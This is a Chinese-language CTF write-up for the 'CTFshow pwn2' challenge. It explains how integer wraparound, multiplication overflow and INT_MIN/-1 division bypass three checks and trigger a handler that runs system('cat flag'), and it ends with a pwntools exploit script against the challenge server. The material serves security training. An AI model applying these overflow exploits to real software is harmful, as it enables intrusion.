主函数内容如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { alarm(0x3Cu); setvbuf(stdout, 0LL, 2, 0LL); puts("CTFshow pwn2"); puts("Can you help me to solve some eazy math problem?"); if ( (unsigned int)sub_9C0() && (unsigned int)sub_AEE() && (unsigned int)sub_BA3() ) puts("That's impossible!"); else puts("Baka!"); return 0LL; }
题目的目的是,满足判断语句中的三个函数的结果为真。
第一个函数:
_BOOL8 sub_9C0() { int v1; // [rsp+8h] [rbp-38h] int v2; // [rsp+Ch] [rbp-34h] char s[8]; // [rsp+10h] [rbp-30h] __int64 v4; // [rsp+18h] [rbp-28h] __int64 v5; // [rsp+20h] [rbp-20h] int v6; // [rsp+28h] [rbp-18h] __int16 v7; // [rsp+2Ch] [rbp-14h] unsigned __int64 v8; // [rsp+38h] [rbp-8h] v8 = __readfsqword(0x28u); puts("1.a-b=9,0<=a<9,0<=b<9"); *(_QWORD *)s = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0; v7 = 0; printf("a:"); __isoc99_scanf("%20s", s); if ( strchr(s, 45) ) return 0LL; v1 = atoi(s); printf("b:", 45LL); __isoc99_scanf("%20s", s); if ( strchr(s, 45) ) return 0LL; v2 = atoi(s); return v1 <= 8 && v2 <= 8 && v1 - v2 == 9; }
让a得8,b得负1即可。
因为过滤了“-”,且输入的b最后转为int型,所以为0xffffffff
。
第二个函数:
_BOOL8 sub_AEE() { int v1; // [rsp+0h] [rbp-10h] int v2; // [rsp+4h] [rbp-Ch] unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); puts("2.a*b=9,a>9,b>9"); printf("a:"); __isoc99_scanf("%d", &v1); printf("b:", &v1); __isoc99_scanf("%d", &v2); return v1 > 9 && v2 > 9 && v1 * v2 == 9; }
让a和b的值相乘得
即可。这里用factordb.com对该数分解,得到89209和48145。0x100000009
第三个函数:
__int64 sub_BA3() { int v1; // [rsp+Ch] [rbp-14h] int v2; // [rsp+10h] [rbp-10h] int v3; // [rsp+14h] [rbp-Ch] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); puts("3.a/b=ERROR,b!=0"); printf("a:"); __isoc99_scanf("%d", &v1); printf("b:", &v1); __isoc99_scanf("%d", &v2); if ( v2 ) { signal(8, (__sighandler_t)handler); v3 = v1 / v2; signal(8, 0LL); } return 0LL; }
这里可以看出,如果满足条件,且v2的值不得0,则会调用题目的后门函数:
void __noreturn handler() { puts("You are so clever!"); system("cat flag"); exit(0); }
32位int最小的负数值为0x80000000(也就是-2147483648),除以-1的话,得到的商2147483648是一个无法被表示的数,会报错。
最终exp如下:
from pwn import * elf = ELF('./pwn2') local = 0 if local == 1: io = process('./pwn2') else: io = remote('pwn.challenge.ctf.show',28108) io.recvuntil('a:') io.sendline(str(8)) io.recvuntil('b:') io.sendline(str(0xffffffff)) io.recvuntil('a:') io.sendline(str(89209)) io.recvuntil('b:') io.sendline(str(48145)) io.recvuntil('a:') io.sendline(str(-2147483648)) io.recvuntil('b:') io.sendline(str(-1)) io.interactive()